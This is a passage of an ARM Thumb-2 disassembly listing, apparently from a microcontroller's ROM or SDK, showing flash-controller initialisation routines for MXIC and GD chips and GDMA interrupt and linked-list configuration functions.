0x5c 1010197e: f880 1059 strb.w r1, [r0, #89] ; 0x59 10101982: f880 305a strb.w r3, [r0, #90] ; 0x5a 10101986: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 1010198a: bf00 nop 1010198c <FLASH_StructInit_MXIC>: 1010198c: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10101990: 2540 movs r5, #64 ; 0x40 10101992: 60c5 str r5, [r0, #12] 10101994: 2502 movs r5, #2 10101996: 6145 str r5, [r0, #20] 10101998: 253b movs r5, #59 ; 0x3b 1010199a: 6245 str r5, [r0, #36] ; 0x24 1010199c: f44f 7501 mov.w r5, #516 ; 0x204 101019a0: 6445 str r5, [r0, #68] ; 0x44 101019a2: 2538 movs r5, #56 ; 0x38 101019a4: 6405 str r5, [r0, #64] ; 0x40 101019a6: 256b movs r5, #107 ; 0x6b 101019a8: 62c5 str r5, [r0, #44] ; 0x2c 101019aa: f44f 7544 mov.w r5, #784 ; 0x310 101019ae: 2300 movs r3, #0 101019b0: 2201 movs r2, #1 101019b2: 2406 movs r4, #6 101019b4: 21bb movs r1, #187 ; 0xbb 101019b6: 6485 str r5, [r0, #72] ; 0x48 101019b8: f04f 0904 mov.w r9, #4 101019bc: 27eb movs r7, #235 ; 0xeb 101019be: f04f 0b05 mov.w fp, #5 101019c2: f04f 0a60 mov.w sl, #96 ; 0x60 101019c6: f04f 08d8 mov.w r8, #216 ; 0xd8 101019ca: f04f 0c20 mov.w ip, #32 101019ce: f04f 0eab mov.w lr, #171 ; 0xab 101019d2: 26b9 movs r6, #185 ; 0xb9 101019d4: f06f 0560 mvn.w r5, #96 ; 0x60 101019d8: 6183 str r3, [r0, #24] 101019da: 7783 strb r3, [r0, #30] 101019dc: 6343 str r3, [r0, #52] ; 0x34 101019de: 6383 str r3, [r0, #56] ; 0x38 101019e0: 63c3 str r3, [r0, #60] ; 0x3c 101019e2: f880 304f strb.w r3, [r0, #79] ; 0x4f 101019e6: f880 3051 strb.w r3, [r0, #81] ; 0x51 101019ea: f880 3058 strb.w r3, [r0, #88] ; 0x58 101019ee: f880 901f strb.w r9, [r0, #31] 101019f2: 6307 str r7, [r0, #48] ; 0x30 101019f4: f880 504d strb.w r5, [r0, #77] ; 0x4d 101019f8: f880 b04e strb.w fp, [r0, #78] ; 0x4e 101019fc: f880 a052 strb.w sl, [r0, #82] ; 0x52 10101a00: f880 8053 strb.w r8, [r0, #83] ; 0x53 10101a04: f880 c054 strb.w ip, [r0, #84] ; 0x54 10101a08: f880 e055 strb.w lr, [r0, #85] ; 0x55 10101a0c: f880 6056 strb.w r6, [r0, #86] ; 0x56 10101a10: 6002 str r2, [r0, #0] 10101a12: 7142 strb r2, [r0, #5] 10101a14: 6102 str r2, [r0, #16] 10101a16: 7742 strb r2, [r0, #29] 10101a18: f880 2050 strb.w r2, [r0, #80] ; 0x50 10101a1c: f880 4020 strb.w r4, [r0, #32] 10101a20: f880 404c strb.w r4, [r0, #76] ; 0x4c 10101a24: 6281 str r1, [r0, #40] ; 0x28 10101a26: f880 305a strb.w r3, [r0, #90] ; 0x5a 10101a2a: f04f 0303 mov.w r3, #3 10101a2e: 65c1 str r1, [r0, #92] ; 0x5c 10101a30: f880 3059 strb.w r3, [r0, #89] ; 0x59 10101a34: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10101a38 <FLASH_StructInit_GD>: 10101a38: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10101a3c: f44f 7600 mov.w r6, #512 ; 0x200 10101a40: 60c6 str r6, [r0, #12] 10101a42: 2602 movs r6, #2 10101a44: 6146 str r6, [r0, #20] 10101a46: 263b movs r6, #59 ; 0x3b 10101a48: 6246 str r6, [r0, #36] ; 0x24 10101a4a: f44f 7601 mov.w r6, #516 ; 0x204 10101a4e: 6446 str r6, [r0, #68] ; 0x44 10101a50: 2632 movs r6, #50 ; 0x32 10101a52: 6406 str r6, [r0, #64] ; 0x40 10101a54: 266b movs r6, #107 ; 0x6b 10101a56: 62c6 str r6, [r0, #44] ; 0x2c 10101a58: f44f 7644 mov.w r6, #784 ; 0x310 10101a5c: 6486 str r6, [r0, #72] ; 0x48 10101a5e: f06f 0660 mvn.w r6, #96 ; 0x60 10101a62: 2300 movs r3, #0 10101a64: 2201 movs r2, #1 10101a66: 2505 movs r5, #5 10101a68: 2406 movs r4, #6 10101a6a: 21bb movs r1, #187 ; 0xbb 10101a6c: f880 604d strb.w r6, [r0, #77] ; 0x4d 10101a70: f04f 0904 mov.w r9, #4 10101a74: 27eb movs r7, #235 ; 0xeb 10101a76: f04f 0b60 mov.w fp, #96 ; 0x60 10101a7a: f04f 0ad8 mov.w sl, #216 ; 0xd8 10101a7e: f04f 0820 mov.w r8, #32 10101a82: f04f 0cab mov.w ip, #171 ; 0xab 10101a86: f04f 0eb9 mov.w lr, #185 ; 0xb9 10101a8a: f04f 0635 mov.w r6, #53 ; 0x35 10101a8e: 7783 strb r3, [r0, #30] 10101a90: 6343 str r3, [r0, #52] ; 0x34 10101a92: 6383 str r3, [r0, #56] ; 0x38 10101a94: 63c3 str r3, [r0, #60] ; 0x3c 10101a96: f880 3051 strb.w r3, [r0, #81] ; 0x51 10101a9a: f880 3058 strb.w r3, [r0, #88] ; 0x58 10101a9e: f880 901f strb.w r9, [r0, #31] 10101aa2: 6307 str r7, [r0, #48] ; 0x30 10101aa4: f880 604f strb.w r6, [r0, #79] ; 0x4f 10101aa8: f880 b052 strb.w fp, [r0, #82] ; 0x52 10101aac: f880 a053 strb.w sl, [r0, #83] ; 0x53 10101ab0: f880 8054 strb.w r8, [r0, #84] ; 0x54 10101ab4: f880 c055 strb.w ip, [r0, #85] ; 0x55 10101ab8: f880 e056 strb.w lr, [r0, #86] ; 0x56 10101abc: 6005 str r5, [r0, #0] 10101abe: f880 504e strb.w r5, [r0, #78] ; 0x4e 10101ac2: 7142 strb r2, [r0, #5] 10101ac4: 6102 str r2, [r0, #16] 10101ac6: 6182 str r2, [r0, #24] 10101ac8: 7742 strb r2, [r0, #29] 10101aca: f880 2050 strb.w r2, [r0, #80] ; 0x50 10101ace: f880 4020 strb.w r4, [r0, #32] 10101ad2: f880 404c strb.w r4, [r0, #76] ; 0x4c 10101ad6: 6281 str r1, [r0, #40] ; 0x28 10101ad8: f880 305a strb.w r3, [r0, #90] ; 0x5a 10101adc: f04f 0303 mov.w r3, #3 10101ae0: 65c1 str r1, [r0, #92] ; 0x5c 10101ae2: f880 3059 strb.w r3, [r0, #89] ; 0x59 10101ae6: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10101aea: bf00 nop 10101aec <FLASH_StructInit>: 10101aec: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10101af0: f44f 7600 mov.w r6, #512 ; 0x200 10101af4: 60c6 str r6, [r0, #12] 10101af6: 263b movs r6, #59 ; 0x3b 10101af8: 6246 str r6, [r0, #36] ; 0x24 10101afa: f44f 7601 mov.w r6, #516 ; 0x204 10101afe: 6446 str r6, [r0, #68] ; 0x44 10101b00: 2632 movs r6, #50 ; 0x32 10101b02: 6406 str r6, [r0, #64] ; 0x40 10101b04: 26eb movs r6, #235 ; 0xeb 10101b06: 6306 str r6, [r0, #48] ; 0x30 10101b08: f44f 7644 mov.w r6, #784 ; 0x310 10101b0c: 6486 str r6, [r0, #72] ; 0x48 10101b0e: f06f 0660 mvn.w r6, #96 ; 0x60 10101b12: f880 604d strb.w r6, [r0, #77] ; 0x4d 10101b16: f04f 0605 mov.w r6, #5 10101b1a: 2300 movs r3, #0 10101b1c: 2201 movs r2, #1 10101b1e: 2502 movs r5, #2 10101b20: 2406 movs r4, #6 10101b22: 21bb movs r1, #187 ; 0xbb 10101b24: f880 604e strb.w r6, [r0, #78] ; 0x4e 10101b28: f04f 0a04 mov.w sl, #4 10101b2c: 276b movs r7, #107 ; 0x6b 10101b2e: f04f 0b60 mov.w fp, #96 ; 0x60 10101b32: f04f 09d8 mov.w r9, #216 ; 0xd8 10101b36: f04f 0820 mov.w r8, #32 10101b3a: f04f 0cab mov.w ip, #171 ; 0xab 10101b3e: f04f 0eb9 mov.w lr, #185 ; 0xb9 10101b42: f04f 0635 mov.w r6, #53 ; 0x35 10101b46: 7783 strb r3, [r0, #30] 10101b48: 6343 str r3, [r0, #52] ; 0x34 10101b4a: 6383 str r3, [r0, #56] ; 0x38 10101b4c: 63c3 str r3, [r0, #60] ; 0x3c 10101b4e: f880 3051 strb.w r3, [r0, #81] ; 0x51 10101b52: f880 3058 strb.w r3, [r0, #88] ; 0x58 10101b56: f880 a01f strb.w sl, [r0, #31] 10101b5a: 62c7 str r7, [r0, #44] ; 0x2c 10101b5c: f880 604f strb.w r6, [r0, #79] ; 0x4f 10101b60: f880 b052 strb.w fp, [r0, #82] ; 0x52 10101b64: f880 9053 strb.w r9, [r0, #83] ; 0x53 10101b68: f880 8054 strb.w r8, [r0, #84] ; 0x54 10101b6c: f880 c055 strb.w ip, [r0, #85] ; 0x55 10101b70: f880 e056 strb.w lr, [r0, #86] ; 0x56 10101b74: 6005 str r5, [r0, #0] 10101b76: 6145 str r5, [r0, #20] 10101b78: 7142 strb r2, [r0, #5] 10101b7a: 6102 str r2, [r0, #16] 10101b7c: 6182 str r2, [r0, #24] 10101b7e: 7742 strb r2, [r0, #29] 10101b80: f880 2050 strb.w r2, [r0, #80] ; 0x50 10101b84: f880 4020 strb.w r4, [r0, #32] 10101b88: f880 404c strb.w r4, [r0, #76] ; 0x4c 10101b8c: 6281 str r1, [r0, #40] ; 0x28 10101b8e: f880 305a strb.w r3, [r0, #90] ; 0x5a 10101b92: f04f 0303 mov.w r3, #3 10101b96: 65c1 str r1, [r0, #92] ; 0x5c 10101b98: f880 3059 strb.w r3, [r0, #89] ; 0x59 10101b9c: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10101ba0 <FLASH_Init>: 10101ba0: b5f8 push {r3, r4, r5, r6, r7, lr} 10101ba2: 2600 movs r6, #0 10101ba4: 2401 movs r4, #1 10101ba6: 4605 mov r5, r0 10101ba8: 2004 movs r0, #4 10101baa: 4b1c ldr r3, [pc, #112] ; (10101c1c <FLASH_Init+0x7c>) 10101bac: 4a1c ldr r2, [pc, #112] ; (10101c20 <FLASH_Init+0x80>) 10101bae: 7951 ldrb r1, [r2, #5] 10101bb0: 6dd7 ldr r7, [r2, #92] ; 0x5c 10101bb2: 609e str r6, [r3, #8] 10101bb4: 6a96 ldr r6, [r2, #40] ; 0x28 10101bb6: 6159 str r1, [r3, #20] 10101bb8: 6b51 ldr r1, [r2, #52] ; 0x34 10101bba: 611c str r4, [r3, #16] 10101bbc: f8c3 70e0 str.w r7, [r3, #224] ; 0xe0 10101bc0: f8c3 60e8 str.w r6, [r3, #232] ; 0xe8 10101bc4: 6a57 ldr r7, [r2, #36] ; 0x24 10101bc6: 6b96 ldr r6, [r2, #56] ; 0x38 10101bc8: f8c3 70e4 str.w r7, [r3, #228] ; 0xe4 10101bcc: 6bd7 ldr r7, [r2, #60] ; 0x3c 10101bce: f8c3 10f8 str.w r1, [r3, #248] ; 0xf8 10101bd2: 6c11 ldr r1, [r2, #64] ; 0x40 10101bd4: f8c3 60fc str.w r6, [r3, #252] ; 0xfc 10101bd8: 6b16 ldr r6, [r2, #48] ; 0x30 10101bda: f8c3 7100 str.w r7, [r3, #256] ; 0x100 10101bde: 6ad7 ldr r7, [r2, #44] ; 0x2c 10101be0: f8c3 1104 str.w r1, [r3, #260] ; 0x104 10101be4: f8c3 60f0 str.w r6, [r3, #240] ; 0xf0 10101be8: f8c3 70ec str.w r7, [r3, #236] ; 0xec 10101bec: f8d3 1110 ldr.w r1, [r3, #272] ; 0x110 10101bf0: 4321 orrs r1, r4 10101bf2: f8c3 1110 str.w r1, [r3, #272] ; 0x110 10101bf6: f8d3 1110 ldr.w r1, [r3, #272] ; 0x110 10101bfa: f892 6059 ldrb.w r6, [r2, #89] ; 0x59 10101bfe: f021 0102 bic.w r1, r1, #2 10101c02: f8c3 1110 str.w r1, [r3, #272] ; 0x110 10101c06: 6058 str r0, [r3, #4] 10101c08: 4629 mov r1, r5 10101c0a: 4610 mov r0, r2 10101c0c: f8c3 6118 str.w r6, [r3, #280] ; 0x118 10101c10: 7115 strb r5, [r2, #4] 10101c12: f7ff fbb3 bl 1010137c <FLASH_SetSpiMode> 10101c16: 4620 mov r0, r4 10101c18: bdf8 pop {r3, r4, r5, r6, r7, pc} 10101c1a: bf00 nop 10101c1c: 48080000 .word 0x48080000 10101c20: 10000038 .word 0x10000038 10101c24 <GDMA_StructInit>: 10101c24: b510 push {r4, lr} 10101c26: 2254 movs r2, #84 ; 0x54 10101c28: 4b05 ldr r3, [pc, #20] ; (10101c40 <GDMA_StructInit+0x1c>) 10101c2a: 2100 movs r1, #0 10101c2c: 4604 mov r4, r0 10101c2e: 4798 blx r3 10101c30: 2302 movs r3, #2 10101c32: 2200 movs r2, #0 10101c34: 60e3 str r3, [r4, #12] 10101c36: 6522 str r2, [r4, #80] ; 0x50 10101c38: 60a3 str r3, [r4, #8] 10101c3a: 61e3 str r3, [r4, #28] 10101c3c: 61a3 str r3, [r4, #24] 10101c3e: bd10 pop {r4, pc} 10101c40: 10106e89 .word 0x10106e89 10101c44 <GDMA_SetLLP>: 10101c44: b5f8 push {r3, r4, r5, r6, r7, lr} 10101c46: f8df e08c ldr.w lr, [pc, #140] ; 10101cd4 <GDMA_SetLLP+0x90> 10101c4a: 4c1f ldr r4, [pc, #124] ; (10101cc8 <GDMA_SetLLP+0x84>) 10101c4c: e844 f400 tt r4, r4 10101c50: f414 0f80 tst.w r4, #4194304 ; 0x400000 10101c54: 4f1d ldr r7, [pc, #116] ; (10101ccc <GDMA_SetLLP+0x88>) 10101c56: 460e mov r6, r1 10101c58: 4615 mov r5, r2 10101c5a: 461c mov r4, r3 10101c5c: bf08 it eq 10101c5e: 4677 moveq r7, lr 10101c60: bb68 cbnz r0, 10101cbe <GDMA_SetLLP+0x7a> 10101c62: 2e05 cmp r6, #5 10101c64: d826 bhi.n 10101cb4 <GDMA_SetLLP+0x70> 10101c66: 2158 movs r1, #88 ; 0x58 10101c68: fb01 7106 mla r1, r1, r6, r7 10101c6c: 69a6 ldr r6, [r4, #24] 10101c6e: 698f ldr r7, [r1, #24] 10101c70: 69ca ldr r2, [r1, #28] 10101c72: f3c6 000b ubfx r0, r6, #0, #12 10101c76: 4302 orrs r2, r0 10101c78: 61ca str r2, [r1, #28] 10101c7a: 610c str r4, [r1, #16] 10101c7c: b95d cbnz r5, 10101c96 <GDMA_SetLLP+0x52> 10101c7e: e018 b.n 10101cb2 <GDMA_SetLLP+0x6e> 10101c80: 69e3 ldr r3, [r4, #28] 10101c82: f360 020b bfi r2, r0, #0, #12 10101c86: 699e ldr r6, [r3, #24] 10101c88: 6122 str r2, [r4, #16] 10101c8a: 60e7 str r7, [r4, #12] 10101c8c: 60a3 str r3, [r4, #8] 10101c8e: 461c mov r4, r3 10101c90: 3d01 subs r5, #1 10101c92: f3c6 000b ubfx r0, r6, #0, #12 10101c96: 2d01 cmp r5, #1 10101c98: d1f2 bne.n 10101c80 <GDMA_SetLLP+0x3c> 10101c9a: f422 627f bic.w r2, r2, #4080 ; 0xff0 10101c9e: f022 020f bic.w r2, r2, #15 10101ca2: 69e3 ldr r3, [r4, #28] 10101ca4: 4302 orrs r2, r0 10101ca6: f027 57c0 bic.w r7, r7, #402653184 ; 0x18000000 10101caa: 6122 str r2, [r4, #16] 10101cac: 60e7 str r7, [r4, #12] 10101cae: 60a3 str r3, [r4, #8] 10101cb0: bdf8 pop {r3, r4, r5, r6, r7, pc} 10101cb2: bdf8 pop {r3, r4, r5, r6, r7, pc} 10101cb4: 21b8 movs r1, #184 ; 0xb8 10101cb6: 4806 ldr r0, [pc, #24] ; (10101cd0 <GDMA_SetLLP+0x8c>) 10101cb8: f7fe fdda bl 10100870 <io_assert_failed> 10101cbc: e7d3 b.n 10101c66 <GDMA_SetLLP+0x22> 10101cbe: 21b7 movs r1, #183 ; 0xb7 10101cc0: 4803 ldr r0, [pc, #12] ; (10101cd0 <GDMA_SetLLP+0x8c>) 10101cc2: f7fe fdd5 bl 10100870 <io_assert_failed> 10101cc6: e7cc b.n 10101c62 <GDMA_SetLLP+0x1e> 10101cc8: 101003f5 .word 0x101003f5 10101ccc: 5002a000 .word 0x5002a000 10101cd0: 101d5040 .word 0x101d5040 10101cd4: 4002a000 .word 0x4002a000 10101cd8 <GDMA_ClearINTPendingBit>: 10101cd8: b5f8 push {r3, r4, r5, r6, r7, lr} 10101cda: 4f2e ldr r7, [pc, #184] ; (10101d94 <GDMA_ClearINTPendingBit+0xbc>) 10101cdc: 4b2e ldr r3, [pc, #184] ; (10101d98 <GDMA_ClearINTPendingBit+0xc0>) 10101cde: e843 f300 tt r3, r3 10101ce2: f413 0f80 tst.w r3, #4194304 ; 0x400000 10101ce6: 4c2d ldr r4, [pc, #180] ; (10101d9c <GDMA_ClearINTPendingBit+0xc4>) 10101ce8: 460e mov r6, r1 10101cea: 4615 mov r5, r2 10101cec: bf08 it eq 10101cee: 463c moveq r4, r7 10101cf0: 2800 cmp r0, #0 10101cf2: d143 bne.n 10101d7c <GDMA_ClearINTPendingBit+0xa4> 10101cf4: 2e05 cmp r6, #5 10101cf6: d847 bhi.n 10101d88 <GDMA_ClearINTPendingBit+0xb0> 10101cf8: f035 031f bics.w r3, r5, #31 10101cfc: d100 bne.n 10101d00 <GDMA_ClearINTPendingBit+0x28> 10101cfe: b91d cbnz r5, 10101d08 <GDMA_ClearINTPendingBit+0x30> 10101d00: 21fb movs r1, #251 ; 0xfb 10101d02: 4827 ldr r0, [pc, #156] ; (10101da0 <GDMA_ClearINTPendingBit+0xc8>) 10101d04: f7fe fdb4 bl 10100870 <io_assert_failed> 10101d08: 2001 movs r0, #1 10101d0a: f8d4 32c0 ldr.w r3, [r4, #704] ; 0x2c0 10101d0e: 40b0 lsls r0, r6 10101d10: 4203 tst r3, r0 10101d12: bf18 it ne 10101d14: f8d4 32e8 ldrne.w r3, [r4, #744] ; 0x2e8 10101d18: f8d4 32c8 ldr.w r3, [r4, #712] ; 0x2c8 10101d1c: 4218 tst r0, r3 10101d1e: bf18 it ne 10101d20: f8d4 32f0 ldrne.w r3, [r4, #752] ; 0x2f0 10101d24: f8d4 32d0 ldr.w r3, [r4, #720] ; 0x2d0 10101d28: 4218 tst r0, r3 10101d2a: bf18 it ne 10101d2c: f8d4 32f8 ldrne.w r3, [r4, #760] ; 0x2f8 10101d30: f8d4 32d8 ldr.w r3, [r4, #728] ; 0x2d8 10101d34: 4218 tst r0, r3 10101d36: bf18 it ne 10101d38: f8d4 3300 ldrne.w r3, [r4, #768] ; 0x300 10101d3c: f8d4 32e0 ldr.w r3, [r4, #736] ; 0x2e0 10101d40: 4218 tst r0, r3 10101d42: bf18 it ne 10101d44: f8d4 3308 ldrne.w r3, [r4, #776] ; 0x308 10101d48: 2301 movs r3, #1 10101d4a: 3608 adds r6, #8 10101d4c: fa03 f606 lsl.w r6, r3, r6 10101d50: 4330 orrs r0, r6 10101d52: 07ef lsls r7, r5, #31 10101d54: bf48 it mi 10101d56: f8c4 0338 strmi.w r0, [r4, #824] ; 0x338 10101d5a: 07ae lsls r6, r5, #30 10101d5c: bf48 it mi 10101d5e: f8c4 0340 strmi.w r0, [r4, #832] ; 0x340 10101d62: 0769 lsls r1, r5, #29 10101d64: bf48 it mi 10101d66: f8c4 0348 strmi.w r0, [r4, #840] ; 0x348 10101d6a: 072a lsls r2, r5, #28 10101d6c: bf48 it mi 10101d6e: f8c4 0350 strmi.w r0, [r4, #848] ; 0x350 10101d72: 06eb lsls r3, r5, #27 10101d74: bf48 it mi 10101d76: f8c4 0358 strmi.w r0, [r4, #856] ; 0x358 10101d7a: bdf8 pop {r3, r4, r5, r6, r7, pc} 10101d7c: 21f9 movs r1, #249 ; 0xf9 10101d7e: 4808 ldr r0, [pc, #32] ; (10101da0 <GDMA_ClearINTPendingBit+0xc8>) 10101d80: f7fe fd76 bl 10100870 <io_assert_failed> 10101d84: 2e05 cmp r6, #5 10101d86: d9b7 bls.n 10101cf8 <GDMA_ClearINTPendingBit+0x20> 10101d88: 21fa movs r1, #250 ; 0xfa 10101d8a: 4805 ldr r0, [pc, #20] ; (10101da0 <GDMA_ClearINTPendingBit+0xc8>) 10101d8c: f7fe fd70 bl 10100870 <io_assert_failed> 10101d90: e7b2 b.n 10101cf8 <GDMA_ClearINTPendingBit+0x20> 10101d92: bf00 nop 10101d94: 4002a000 .word 0x4002a000 10101d98: 101003f5 .word 0x101003f5 10101d9c: 5002a000 .word 0x5002a000 10101da0: 101d504c .word 0x101d504c 10101da4 <GDMA_ClearINT>: 10101da4: 4a2f ldr r2, [pc, #188] ; (10101e64 <GDMA_ClearINT+0xc0>) 10101da6: b538 push {r3, r4, r5, lr} 10101da8: 4b2f ldr r3, [pc, #188] ; (10101e68 <GDMA_ClearINT+0xc4>) 10101daa: e843 f300 tt r3, r3 10101dae: f413 0f80 tst.w r3, #4194304 ; 0x400000 10101db2: 4c2e ldr r4, [pc, #184] ; (10101e6c <GDMA_ClearINT+0xc8>) 10101db4: 460d mov r5, r1 10101db6: bf08 it eq 10101db8: 4614 moveq r4, r2 10101dba: 2800 cmp r0, #0 10101dbc: d145 bne.n 10101e4a <GDMA_ClearINT+0xa6> 10101dbe: 2d05 cmp r5, #5 10101dc0: d84a bhi.n 10101e58 <GDMA_ClearINT+0xb4> 10101dc2: 2301 movs r3, #1 10101dc4: f8d4 02c0 ldr.w r0, [r4, #704] ; 0x2c0 10101dc8: 40ab lsls r3, r5 10101dca: 4018 ands r0, r3 10101dcc: d005 beq.n 10101dda <GDMA_ClearINT+0x36> 10101dce: f8d4 22e8 ldr.w r2, [r4, #744] ; 0x2e8 10101dd2: 4213 tst r3, r2 10101dd4: bf14 ite ne 10101dd6: 2001 movne r0, #1 10101dd8: 2000 moveq r0, #0 10101dda: f8d4 22c8 ldr.w r2, [r4, #712] ; 0x2c8 10101dde: 4213 tst r3, r2 10101de0: d005 beq.n 10101dee <GDMA_ClearINT+0x4a> 10101de2: f8d4 22f0 ldr.w r2, [r4, #752] ; 0x2f0 10101de6: 4213 tst r3, r2 10101de8: bf18 it ne 10101dea: f040 0002 orrne.w r0, r0, #2 10101dee: f8d4 22d0 ldr.w r2, [r4, #720] ; 0x2d0 10101df2: 4213 tst r3, r2 10101df4: d005 beq.n 10101e02 <GDMA_ClearINT+0x5e> 10101df6: f8d4 22f8 ldr.w r2, [r4, #760] ; 0x2f8 10101dfa: 4213 tst r3, r2 10101dfc: bf18 it ne 10101dfe: f040 0004 orrne.w r0, r0, #4 10101e02: f8d4 22d8 ldr.w r2, [r4, #728] ; 0x2d8 10101e06: 4213 tst r3, r2 10101e08: d005 beq.n 10101e16 <GDMA_ClearINT+0x72> 10101e0a: f8d4 2300 ldr.w r2, [r4, #768] ; 0x300 10101e0e: 4213 tst r3, r2 10101e10: bf18 it ne 10101e12: f040 0008 orrne.w r0, r0, #8 10101e16: f8d4 22e0 ldr.w r2, [r4, #736] ; 0x2e0 10101e1a: 4213 tst r3, r2 10101e1c: d005 beq.n 10101e2a <GDMA_ClearINT+0x86> 10101e1e: f8d4 2308 ldr.w r2, [r4, #776] ; 0x308 10101e22: 4213 tst r3, r2 10101e24: bf18 it ne 10101e26: f040 0010 orrne.w r0, r0, #16 10101e2a: 2201 movs r2, #1 10101e2c: 3508 adds r5, #8 10101e2e: fa02 f505 lsl.w r5, r2, r5 10101e32: 432b orrs r3, r5 10101e34: f8c4 3338 str.w r3, [r4, #824] ; 0x338 10101e38: f8c4 3340 str.w r3, [r4, #832] ; 0x340 10101e3c: f8c4 3348 str.w r3, [r4, #840] ; 0x348 10101e40: f8c4 3350 str.w r3, [r4, #848] ; 0x350 10101e44: f8c4 3358 str.w r3, [r4, #856] ; 0x358 10101e48: bd38 pop {r3, r4, r5, pc} 10101e4a: f240 1137 movw r1, #311 ; 0x137 10101e4e: 4808 ldr r0, [pc, #32] ; (10101e70 <GDMA_ClearINT+0xcc>) 10101e50: f7fe fd0e bl 10100870 <io_assert_failed> 10101e54: 2d05 cmp r5, #5 10101e56: d9b4 bls.n 10101dc2 <GDMA_ClearINT+0x1e> 10101e58: f44f 719c mov.w r1, #312 ; 0x138 10101e5c: 4804 ldr r0, [pc, #16] ; (10101e70 <GDMA_ClearINT+0xcc>) 10101e5e: f7fe fd07 bl 10100870 <io_assert_failed> 10101e62: e7ae b.n 10101dc2 <GDMA_ClearINT+0x1e> 10101e64: 4002a000 .word 0x4002a000 10101e68: 101003f5 .word 0x101003f5 10101e6c: 5002a000 .word 0x5002a000 10101e70: 101d50cc .word 0x101d50cc 10101e74 <GDMA_INTConfig>: 10101e74: b5f8 push {r3, r4, r5, r6, r7, lr} 10101e76: f8df e114 ldr.w lr, [pc, #276] ; 10101f8c <GDMA_INTConfig+0x118> 10101e7a: 4d41 ldr r5, [pc, #260] ; (10101f80 <GDMA_INTConfig+0x10c>) 10101e7c: e845 f500 tt r5, r5 10101e80: f415 0f80 tst.w r5, #4194304 ; 0x400000 10101e84: 4c3f ldr r4, [pc, #252] ; (10101f84 <GDMA_INTConfig+0x110>) 10101e86: 460e mov r6, r1 10101e88: 4615 mov r5, r2 10101e8a: 461f mov r7, r3 10101e8c: bf08 it eq 10101e8e: 4674 moveq r4, lr 10101e90: 2800 cmp r0, #0 10101e92: d16e bne.n 10101f72 <GDMA_INTConfig+0xfe> 10101e94: 2e05 cmp r6, #5 10101e96: d866 bhi.n 10101f66 <GDMA_INTConfig+0xf2> 10101e98: f035 031f bics.w r3, r5, #31 10101e9c: d12e bne.n 10101efc <GDMA_INTConfig+0x88> 10101e9e: b36d cbz r5, 10101efc <GDMA_INTConfig+0x88> 10101ea0: b39f cbz r7, 10101f0a <GDMA_INTConfig+0x96> 10101ea2: 2101 movs r1, #1 10101ea4: f106 0308 add.w r3, r6, #8 10101ea8: fa01 f203 lsl.w r2, r1, r3 10101eac: 07ef lsls r7, r5, #31 10101eae: fa01 f306 lsl.w r3, r1, r6 10101eb2: ea43 0302 orr.w r3, r3, r2 10101eb6: d504 bpl.n 10101ec2 <GDMA_INTConfig+0x4e> 10101eb8: f8d4 2310 ldr.w r2, [r4, #784] ; 0x310 10101ebc: 431a orrs r2, r3 10101ebe: f8c4 2310 str.w r2, [r4, #784] ; 0x310 10101ec2: 07ae lsls r6, r5, #30 10101ec4: d504 bpl.n 10101ed0 <GDMA_INTConfig+0x5c> 10101ec6: f8d4 2318 ldr.w r2, [r4, #792] ; 0x318 10101eca: 431a orrs r2, r3 10101ecc: f8c4 2318 str.w r2, [r4, #792] ; 0x318 10101ed0: 0768 lsls r0, r5, #29 10101ed2: d504 bpl.n 10101ede <GDMA_INTConfig+0x6a> 10101ed4: f8d4 2320 ldr.w r2, [r4, #800] ; 0x320 10101ed8: 431a orrs r2, r3 10101eda: f8c4 2320 str.w r2, [r4, #800] ; 0x320 10101ede: 0729 lsls r1, r5, #28 10101ee0: d504 bpl.n 10101eec <GDMA_INTConfig+0x78> 10101ee2: f8d4 2328 ldr.w r2, [r4, #808] ; 0x328 10101ee6: 431a orrs r2, r3 10101ee8: f8c4 2328 str.w r2, [r4, #808] ; 0x328 10101eec: 06ea lsls r2, r5, #27 10101eee: d539 bpl.n 10101f64 <GDMA_INTConfig+0xf0> 10101ef0: f8d4 2330 ldr.w r2, [r4, #816] ; 0x330 10101ef4: 4313 orrs r3, r2 10101ef6: f8c4 3330 str.w r3, [r4, #816] ; 0x330 10101efa: bdf8 pop {r3, r4, r5, r6, r7, pc} 10101efc: f240 116f movw r1, #367 ; 0x16f 10101f00: 4821 ldr r0, [pc, #132] ; (10101f88 <GDMA_INTConfig+0x114>) 10101f02: f7fe fcb5 bl 10100870 <io_assert_failed> 10101f06: 2f00 cmp r7, #0 10101f08: d1cb bne.n 10101ea2 <GDMA_INTConfig+0x2e> 10101f0a: 2201 movs r2, #1 10101f0c: f106 0308 add.w r3, r6, #8 10101f10: fa02 f103 lsl.w r1, r2, r3 10101f14: fa02 f306 lsl.w r3, r2, r6 10101f18: 430b orrs r3, r1 10101f1a: 07ef lsls r7, r5, #31 10101f1c: ea6f 0303 mvn.w r3, r3 10101f20: d504 bpl.n 10101f2c <GDMA_INTConfig+0xb8> 10101f22: f8d4 2310 ldr.w r2, [r4, #784] ; 0x310 10101f26: 401a ands r2, r3 10101f28: f8c4 2310 str.w r2, [r4, #784] ; 0x310 10101f2c: 07ae lsls r6, r5, #30 10101f2e: d504 bpl.n 10101f3a <GDMA_INTConfig+0xc6> 10101f30: f8d4 2318 ldr.w r2, [r4, #792] ; 0x318 10101f34: 401a ands r2, r3 10101f36: f8c4 2318 str.w r2, [r4, #792] ; 0x318 10101f3a: 0768 lsls r0, r5, #29 10101f3c: d504 bpl.n 10101f48 <GDMA_INTConfig+0xd4> 10101f3e: f8d4 2320 ldr.w r2, [r4, #800] ; 0x320 10101f42: 401a ands r2, r3 10101f44: f8c4 2320 str.w r2, [r4, #800] ; 0x320 10101f48: 0729 lsls r1, r5, #28 10101f4a: d504 bpl.n 10101f56 <GDMA_INTConfig+0xe2> 10101f4c: f8d4 2328 ldr.w r2, [r4, #808] ; 0x328 10101f50: 401a ands r2, r3 10101f52: f8c4 2328 str.w r2, [r4, #808] ; 0x328 10101f56: 06ea lsls r2, r5, #27 10101f58: d504 bpl.n 10101f64 